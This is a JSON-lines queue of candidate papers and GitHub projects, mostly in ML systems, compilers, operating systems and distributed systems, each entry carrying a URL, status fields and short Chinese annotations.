-{"slug":"lookahead-decoding-2024","area":"papers","topic":"ml-systems","title":"Break the Sequential Dependency: Lookahead Decoding (Jacobi)","meta":{"col3":"","col4":"LMSYS;无需 draft model 的并行解码,把 Jacobi 迭代搬到 LLM 推理;与 EAGLE/Medusa 同位竞争"},"url":"https://arxiv.org/abs/2402.02057","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"attention-sinks-2024","area":"papers","topic":"ml-systems","title":"Efficient Streaming Language Models with Attention Sinks (StreamingLLM)","meta":{"col3":"","col4":"MIT/Meta;通过保留前几个 token 作 sink 实现无限 streaming;长上下文推理标配"},"url":"https://arxiv.org/abs/2309.17453","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"yarn-rope-2023","area":"papers","topic":"ml-systems","title":"YaRN: Efficient Context Window Extension of Large Language Models","meta":{"col3":"","col4":"Nous Research;NTK-aware RoPE scaling 把 4k 模型扩到 128k;Llama-3 长上下文路线"},"url":"https://arxiv.org/abs/2309.00071","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"h2o-token-eviction-2023","area":"papers","topic":"ml-systems","title":"H2O: Heavy-Hitter Oracle for Efficient Generative Inference of LLMs","meta":{"col3":"","col4":"UT Austin NeurIPS'23;KV cache 重要性评分驱逐策略;长上下文 OOM 场景的工业方案"},"url":"https://arxiv.org/abs/2306.14048","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"scissorhands-2023","area":"papers","topic":"ml-systems","title":"Scissorhands: Exploiting the Persistence of Importance Hypothesis for LLM KV Cache Compression","meta":{"col3":"","col4":"Rice University NeurIPS'23;与 H2O 同期的 KV 驱逐方案,重要性假设的另一条路线"},"url":"https://arxiv.org/abs/2305.17118","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"compressed-tensors-vllm","area":"projects","topic":"ml-systems","title":"compressed-tensors: vLLM 量化模型格式","meta":{"col3":"","col4":"Neural Magic;vLLM 官方量化权重格式(FP8/INT8/W4A16),HF 上 RedHatAI 仓库主要载体"},"url":"https://github.com/neuralmagic/compressed-tensors","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"specbench-2024","area":"papers","topic":"ml-systems","title":"Spec-Bench: Comprehensive Benchmark for Speculative Decoding","meta":{"col3":"","col4":"PKU;EAGLE/Medusa/Lookahead/SpecInfer 横向对比的标准 benchmark;阅读后能快速选 spec 方案"},"url":"https://arxiv.org/abs/2401.07851","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} -{"slug":"cohere-embed-v3-2023","area":"projects","topic":"info-retrieval","title":"Cohere Embed v3 (multilingual + compressed embedding)","meta":{"col3":"","col4":"Cohere 商业 embedding;int8/binary embedding 工业代表;与 OpenAI text-embedding-3 同位选项"},"url":"https://cohere.com/blog/introducing-embed-v3","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"data"} -{"slug":"astro-starlight","area":"projects","topic":"frontend","title":"Astro Starlight (docs starter)","meta":{"col3":"","col4":"Astro 官方文档站模板;代替 Docusaurus 的轻量替代,dossier devtool 里的标准选项"},"url":"https://starlight.astro.build/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"devtool"} -{"slug":"drizzle-orm","area":"projects","topic":"backend","title":"Drizzle ORM (TypeScript SQL builder)","meta":{"col3":"","col4":"TypeScript-first ORM;与 Prisma 同位竞争,类型推导更轻量;dossier 推荐选项"},"url":"https://orm.drizzle.team/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"devtool"} -{"slug":"rustbelt-2018","area":"papers","topic":"compilers-pl","title":"RustBelt: Securing the Foundations of the Rust Programming Language","meta":{"col3":"","col4":"Jung-Jourdan-Krebbers-Dreyer POPL'18;用 Iris 在 Coq 里证明 Rust 类型系统 + unsafe 模式安全性;理解 Rust 内存安全证明的奠基"},"url":"https://research.ralfj.de/thesis_phd/thesis-screen.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"rust"} -{"slug":"stacked-borrows-2019","area":"papers","topic":"compilers-pl","title":"Stacked Borrows: An Aliasing Model for Rust","meta":{"col3":"","col4":"Jung-Dang-Kang-Hur-Dreyer POPL'19;Rust 编译器 Miri 用的 alias 模型,理解 unsafe Rust 的 UB 边界"},"url":"https://plv.mpi-sws.org/rustbelt/stacked-borrows/paper.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"rust"} -{"slug":"racket-2018-tour","area":"papers","topic":"compilers-pl","title":"The Racket Manifesto","meta":{"col3":"","col4":"Felleisen-Findler-Flatt-Krishnamurthi-Barzilay-McCarthy-Tobin-Hochstadt SNAPL'15;Racket 设计哲学:programmable programming language;Lisp 系语言演化代表"},"url":"https://www.cs.utah.edu/plt/publications/snapl15-fffkbmt.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"lisp"} -{"slug":"george-appel-1996","area":"papers","topic":"compilers-pl","title":"Iterated Register Coalescing","meta":{"col3":"","col4":"George-Appel TOPLAS'96;把 register allocation 的 coalescing 与 simplify 交替到不动点,工业编译器的标准 RA 算法"},"url":"https://www.cs.princeton.edu/~appel/papers/coalesce.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} -{"slug":"wilson-1992-gc-survey","area":"papers","topic":"compilers-pl","title":"Uniprocessor Garbage Collection Techniques","meta":{"col3":"","col4":"Wilson IWMM'92;GC 综述教科书级,串起 mark-sweep / copying / generational / incremental;理解 JVM/Go/V8 GC 设计图谱"},"url":"https://www.cs.cmu.edu/~fp/courses/15411-f09/misc/wilson92survey.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} -{"slug":"self-1991-chambers","area":"papers","topic":"compilers-pl","title":"Customization: Optimizing Compiler Technology for SELF","meta":{"col3":"","col4":"Chambers-Ungar-Lee PLDI'91;SELF 动态语言 inline cache + type feedback;现代 V8/SpiderMonkey JIT 的源头"},"url":"https://www.cs.ucsb.edu/~ckrintz/racelab/gc/papers/chambers-pldi91.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} -{"slug":"dynamo-2000","area":"papers","topic":"compilers-pl","title":"Dynamo: A Transparent Dynamic Optimization System","meta":{"col3":"","col4":"Bala-Duesterwald-Banerjia PLDI'00;HP 的二进制级 JIT,trace-based optimization 思想源头,影响 PyPy/Java HotSpot"},"url":"https://dl.acm.org/doi/10.1145/349299.349303","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} -{"slug":"graal-truffle-2017","area":"papers","topic":"compilers-pl","title":"Practical Partial Evaluation for High-Performance Dynamic Language Runtimes","meta":{"col3":"","col4":"Würthinger-Wimmer-Stadler-Duboscq-Humer-Hofer-Mössenböck PLDI'17;Truffle/Graal 把 partial evaluation 工业化;GraalVM 的核心论文"},"url":"https://chrisseaton.com/truffleruby/pldi17-truffle/pldi17-truffle.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} -{"slug":"lattner-llvm-2004","area":"papers","topic":"compilers-pl","title":"LLVM: A Compilation Framework for Lifelong Program Analysis & Transformation","meta":{"col3":"","col4":"Lattner-Adve CGO'04;LLVM IR 设计奠基论文;理解所有现代编译器中段优化的统一框架"},"url":"https://www.aaronbradley.org/cs6235/llvm-cgo04.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} -{"slug":"racket-macros-flatt-2016","area":"papers","topic":"compilers-pl","title":"Binding as Sets of Scopes","meta":{"col3":"","col4":"Flatt POPL'16;Racket 的 hygienic macro 算法重写;DSL/Lisp 元编程理论核心"},"url":"https://www.cs.utah.edu/plt/scope-sets/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"metaprogramming"} -{"slug":"metaocaml-2003","area":"papers","topic":"compilers-pl","title":"MetaOCaml: A Compiled, Type-Safe, Multi-Stage Programming Language","meta":{"col3":"","col4":"Calcagno-Taha-Huang-Leroy;OCaml 上的多 stage 元编程;DSL 编译时生成代码的工业方案"},"url":"https://okmij.org/ftp/ML/MetaOCaml.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"metaprogramming"} -{"slug":"unlocking-the-working-memory-of-large-language-models-for-latent-reasoning-arxiv","area":"papers","topic":"ml-systems","title":"Unlocking the Working Memory of Large Language Models for Latent Reasoning","meta":{"col3":"2026","col4":"Aichberger-Hochreiter 2026 用 memory blocks 替代 autoregressive reasoning 单次 forward 完成 latent reasoning"},"url":"https://arxiv.org/abs/2605.30343","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"demystifying-data-organization-for-enhanced-llm-training-arxiv-2605-30334","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"Microsoft 2026 STR/SAW 数据排序方法 + Boundary Sharpening/Cyclic Scheduling 等 4 准则"},"url":"https://arxiv.org/abs/2605.30334","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"soundnessbench-arxiv-2605-30329","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"Furong Huang 2026 1099 ICLR 提案的 soundness 基准 frontier LLM 普遍 optimism bias"},"url":"https://arxiv.org/abs/2605.30329","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260","area":"papers","topic":"ml-systems","title":"How LoRA Remembers? A Parametric Memory Law for LLM Finetuning","meta":{"col3":"2026","col4":"ZJU 2026 LoRA 容量与序列长度的 power law MemFT 阈值优化策略"},"url":"https://arxiv.org/abs/2605.30260","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"same-evidence-different-answers-canonical-context-on-policy-distillation-arxiv-2","area":"papers","topic":"machine-learning","title":"Same Evidence Different Answers Canonical-Context On-Policy Distillation","meta":{"col3":"2026","col4":"CCOPD 2026 多轮对话中 self-anchored drift 现象 + canonical-context distillation 解法"},"url":"https://arxiv.org/abs/2605.30251","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"llmsurgeon-diagnosing-data-mixture-of-large-language-models-arxiv-2605-30348","area":"papers","topic":"machine-learning","title":"LLMSurgeon Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"Zhiqiang Shen 2026 逆问题反推 LLM 预训练混合比例 Data Mixture Surgery"},"url":"https://arxiv.org/abs/2605.30348","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"loong-long-document-translation-agent-with-observe-and-act-arxiv-2605-30274","area":"papers","topic":"machine-learning","title":"Loong Long Document Translation Agent with Observe-and-Act","meta":{"col3":"2026","col4":"2026 3E 内存 Essence-Exemplar-Entity + RL 自我观察的长文档翻译 agent"},"url":"https://arxiv.org/abs/2605.30274","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"in-context-reward-adaptation-for-robust-preference-modeling-arxiv-2605-30323","area":"papers","topic":"ml-systems","title":"In-Context Reward Adaptation for Robust Preference Modeling","meta":{"col3":"2026","col4":"2026 transformer in-context 学习未见偏好域 human response time 作为辅助信号"},"url":"https://arxiv.org/abs/2605.30323","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"passnet-scaling-large-language-models-for-graph-compiler-pass-generation-arxiv-2","area":"papers","topic":"compilers-pl","title":"PassNet Scaling Large Language Models for Graph Compiler Pass Generation","meta":{"col3":"2026","col4":"2026 18K 图 + 200 任务的 LLM 编译器 pass 生成 benchmark TorchInductor 长尾 43% 慢 case"},"url":"https://arxiv.org/abs/2605.29357","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"e-path-equality-saturation-for-control-flow-graphs-arxiv-2605-28694","area":"papers","topic":"compilers-pl","title":"E-Path Equality Saturation for Control-Flow Graphs","meta":{"col3":"2026","col4":"2026 E-Path 数据结构把 equality saturation 扩展到 CFG 规避 phase-ordering 问题"},"url":"https://arxiv.org/abs/2605.28694","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"lacuna-safe-agents-as-recursive-program-holes-arxiv-2605-28617","area":"papers","topic":"compilers-pl","title":"LACUNA Safe Agents as Recursive Program Holes","meta":{"col3":"2026","col4":"Odersky 2026 agent 动作作为 typed program holes 编译时类型检查阻挡 prompt injection"},"url":"https://arxiv.org/abs/2605.28617","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"pacing-types-for-asynchronous-stream-equations-arxiv-2605-26635","area":"papers","topic":"compilers-pl","title":"Pacing Types for Asynchronous Stream Equations","meta":{"col3":"2026","col4":"RTLola 2026 运行时验证的 pacing 类型系统 Rocq 形式化证明 soundness"},"url":"https://arxiv.org/abs/2605.26635","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527","area":"papers","topic":"compilers-pl","title":"A Formal Semantics of C with OpenMP Parallelism","meta":{"col3":"2026","col4":"CompCert 2026 OpenMP C 形式语义 任何成功执行保证无 data race"},"url":"https://arxiv.org/abs/2605.26527","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"datesat-a-framework-for-solving-date-and-period-constraints-arxiv-2605-25180","area":"papers","topic":"compilers-pl","title":"DateSAT A Framework for Solving Date and Period Constraints","meta":{"col3":"2026","col4":"CMU 2026 首个支持日期/时间段约束的 SMT 框架 450 case 数据集 + Z3 后端"},"url":"https://arxiv.org/abs/2605.25180","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"agentic-proving-for-program-verification-arxiv-2605-23772","area":"papers","topic":"compilers-pl","title":"Agentic Proving for Program Verification","meta":{"col3":"2026","col4":"Bas Spitters 2026 Claude Code 在 CLEVER Lean 4 benchmark 上端到端 98.1 percent 成功"},"url":"https://arxiv.org/abs/2605.23772","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"milestone-multi-objective-compiler-phase-ordering-arxiv-2605-23435","area":"papers","topic":"compilers-pl","title":"MileStone Multi-Objective Compiler Phase Ordering","meta":{"col3":"2026","col4":"2026 GNN 预测 + RL 探索的 phase ordering 同能耗下执行时间降低 45 percent"},"url":"https://arxiv.org/abs/2605.23435","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"rtp-llm-high-performance-alibaba-llm-inference-engine-arxiv-2605-29639","area":"papers","topic":"ml-systems","title":"RTP-LLM High-Performance Alibaba LLM Inference Engine","meta":{"col3":"2026","col4":"Alibaba 2026 P-D Disaggregation + 分级 KV cache vs vLLM/SGLang 显著加速 + 1 亿用户验证"},"url":"https://arxiv.org/abs/2605.29639","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"iorm-hierarchical-i-o-governance-for-thousands-of-consolidated-databases-arxiv-2","area":"papers","topic":"operating-systems","title":"IORM Hierarchical I/O Governance for Thousands of Consolidated Databases","meta":{"col3":"2026","col4":"Oracle Exadata 2026 I/O Tagging + 分层 Resource Profile 多租户 IOPS QoS 工业实践"},"url":"https://arxiv.org/abs/2605.29006","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620","area":"papers","topic":"operating-systems","title":"Bounded Priority-Aware Locking for Real-Time Kernels","meta":{"col3":"2026","col4":"BU 2026 Batched Priority Lock FIFO worst-case + 优先级 average wait 折中"},"url":"https://arxiv.org/abs/2605.27620","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"sandlock-confining-ai-agent-code-with-unprivileged-linux-primitives-arxiv-2605-2","area":"papers","topic":"security-privacy","title":"Sandlock Confining AI Agent Code with Unprivileged Linux Primitives","meta":{"col3":"2026","col4":"2026 非 root 进程沙箱 静态 policy 入 kernel + 监督进程兜底 专为 AI agent 不可信代码设计"},"url":"https://arxiv.org/abs/2605.26298","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"learnedcache-ebpf-integrated-perceptron-based-eviction-policy-arxiv-2605-26168","area":"papers","topic":"operating-systems","title":"LearnedCache eBPF-Integrated Perceptron-Based Eviction Policy","meta":{"col3":"2026","col4":"2026 Linux page cache 学习型驱逐策略 perceptron + eBPF + 实测 +10 percent insertion rate"},"url":"https://arxiv.org/abs/2605.26168","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"paracell-paravirtualized-secure-containers-arxiv-2605-20906","area":"papers","topic":"operating-systems","title":"ParaCell Paravirtualized Secure Containers","meta":{"col3":"2026","col4":"SJTU 2026 MPK XGate intra-container 隔离 + Pager 内存管理 vs RunV agent 工作负载 -88 percent 延迟"},"url":"https://arxiv.org/abs/2605.20906","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"clove-object-level-cxl-memory-management-in-managed-runtimes-arxiv-2605-20370","area":"papers","topic":"operating-systems","title":"Clove Object-Level CXL Memory Management in Managed Runtimes","meta":{"col3":"2026","col4":"Berkeley 2026 JVM 上的对象级 CXL 分层内存 profile-guided 热度跟踪 + 对象重定位"},"url":"https://arxiv.org/abs/2605.20370","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"sematune-semantic-aware-online-os-tuning-with-llms-arxiv-2605-15026","area":"papers","topic":"operating-systems","title":"SemaTune Semantic-Aware Online OS Tuning with LLMs","meta":{"col3":"2026","col4":"2026 LLM 语义引导的内核参数在线调优 41 参数 13 工作负载 +72.5 percent steady-state"},"url":"https://arxiv.org/abs/2605.15026","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677","area":"papers","topic":"distributed-systems","title":"AMP Arc Multi-Proposer Protocol with Bounded Inclusion","meta":{"col3":"2026","col4":"Tendermint 2026 多 proposer 区块链协议 解耦 dissemination 和 agreement bounded inclusion guarantee"},"url":"https://arxiv.org/abs/2605.23677","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"herring-parallel-batch-order-fairness-on-dag-based-blockchain-consensus-arxiv-26","area":"papers","topic":"distributed-systems","title":"Herring Parallel Batch-Order-Fairness on DAG-based Blockchain Consensus","meta":{"col3":"2026","col4":"2026 Narwhal/Tusk 上的并行 batch-OF vs FairDAG-RL +90 percent throughput MEV 防御"},"url":"https://arxiv.org/abs/2605.23648","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"multi-round-visibility-post-consensus-ordering-layer-for-dag-bft-arxiv-2605-2343","area":"papers","topic":"distributed-systems","title":"Multi-Round Visibility Post-Consensus Ordering Layer for DAG-BFT","meta":{"col3":"2026","col4":"2026 DAG BFT 的 post-consensus 结构化排序 committed DAG 作为证据基底"},"url":"https://arxiv.org/abs/2605.23432","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"inductive-deductive-synthesis-verified-distributed-systems-arxiv-2605-23109","area":"papers","topic":"distributed-systems","title":"Inductive Deductive Synthesis Verified Distributed Systems","meta":{"col3":"2026","col4":"Stoica/Lesani 2026 agent 协同合成实现+证明 分布式 KV store 7/7 vs SOTA agent 2/7"},"url":"https://arxiv.org/abs/2605.23109","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"monotone-erasure-codes-arxiv-2605-22426","area":"papers","topic":"distributed-systems","title":"Monotone Erasure Codes","meta":{"col3":"2026","col4":"2026 任意 monotone Boolean 公式上的 erasure code blockchain 通用化失效假设下的 AVID"},"url":"https://arxiv.org/abs/2605.22426","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"automating-low-risk-code-review-at-meta-radar-arxiv-2605-30208","area":"papers","topic":"business-engineering","title":"Automating Low-Risk Code Review at Meta RADAR","meta":{"col3":"2026","col4":"Meta 2026 535K diff 的风险分级自动化 review revert 1/3 Production Incident 1/50"},"url":"https://arxiv.org/abs/2605.30208","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"evorepair-vulnerability-repair-via-self-evolution-arxiv-2605-30105","area":"papers","topic":"security-privacy","title":"EvoRepair Vulnerability Repair via Self-Evolution","meta":{"col3":"2026","col4":"2026 experience-based 自进化 AVR agent PATCHEVAL 93.47 percent / SEC-bench 87 percent"},"url":"https://arxiv.org/abs/2605.30105","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"projectional-decoding-semantic-aware-llm-generation-arxiv-2605-30054","area":"papers","topic":"compilers-pl","title":"Projectional Decoding Semantic-Aware LLM Generation","meta":{"col3":"2026","col4":"2026 LLM 生成时同步维护 partial graph model 增量语义验证 + 确定性 SE 保证"},"url":"https://arxiv.org/abs/2605.30054","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605","area":"papers","topic":"distributed-systems","title":"Agora Autonomous Bug Detection in Consensus Protocols with LLM Agents","meta":{"col3":"2026","col4":"2026 多 agent 协议 bug 检测 Raft/EPaxos/HotStuff/BullShark 共发现 15 个未知 logic bug"},"url":"https://arxiv.org/abs/2605.29910","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"trails-inferring-code-correctness-from-specification-arxiv-2605-29822","area":"papers","topic":"compilers-pl","title":"TRAILS Inferring Code Correctness from Specification","meta":{"col3":"2026","col4":"2026 具体 input-output 对锚定 LLM 推理 vs Zero-Shot CoT MCC +39 percent"},"url":"https://arxiv.org/abs/2605.29822","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"the-rise-of-the-software-defined-vehicle-architectures-survey-arxiv-2605-30001","area":"papers","topic":"embedded-iot","title":"The Rise of the Software-Defined Vehicle Architectures Survey","meta":{"col3":"2026","col4":"2026 SDV 综述 SOA/middleware/SDIoV/SDN+边缘+雾 电子电气架构演化分类法"},"url":"https://arxiv.org/abs/2605.30001","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} -{"slug":"codegraph","area":"projects","topic":"editors-ide","title":"colbymchenry/codegraph","meta":{"col3":"","col4":"TypeScript 35k star Pre-indexed code knowledge graph for Claude Code/AI tools"},"url":"https://github.com/colbymchenry/codegraph","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"agentmemory","area":"projects","topic":"ml-systems","title":"rohitg00/agentmemory","meta":{"col3":"","col4":"TypeScript 20k star 持久化记忆系统供 AI coding agent 使用"},"url":"https://github.com/rohitg00/agentmemory","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"understand-anything","area":"projects","topic":"editors-ide","title":"Lum1104/Understand-Anything","meta":{"col3":"","col4":"TypeScript 46k star 交互式代码探索的 knowledge graph"},"url":"https://github.com/Lum1104/Understand-Anything","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"vimax","area":"projects","topic":"machine-learning","title":"HKUDS/ViMax","meta":{"col3":"","col4":"Python 8k star Agentic 视频生成 director-producer 角色编排"},"url":"https://github.com/HKUDS/ViMax","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"skills","area":"projects","topic":"editors-ide","title":"mattpocock/skills","meta":{"col3":"","col4":"Shell 112k star 从个人工具积累的工程 skills 集合 Claude Code 周边"},"url":"https://github.com/mattpocock/skills","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"ai-engineering-from-scratch","area":"projects","topic":"ml-systems","title":"rohitg00/ai-engineering-from-scratch","meta":{"col3":"","col4":"Python 25k star AI 工程综合教育与项目框架"},"url":"https://github.com/rohitg00/ai-engineering-from-scratch","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"9router","area":"projects","topic":"ml-systems","title":"decolua/9router","meta":{"col3":"","col4":"JavaScript 15k star 多 LLM 提供商免费 AI coding 路由层"},"url":"https://github.com/decolua/9router","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} -{"slug":"aitoearn","area":"projects","topic":"business-engineering","title":"yikart/AiToEarn","meta":{"col3":"","col4":"TypeScript 17k star AI 内容变现平台"},"url":"https://github.com/yikart/AiToEarn","status":"candidate","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} 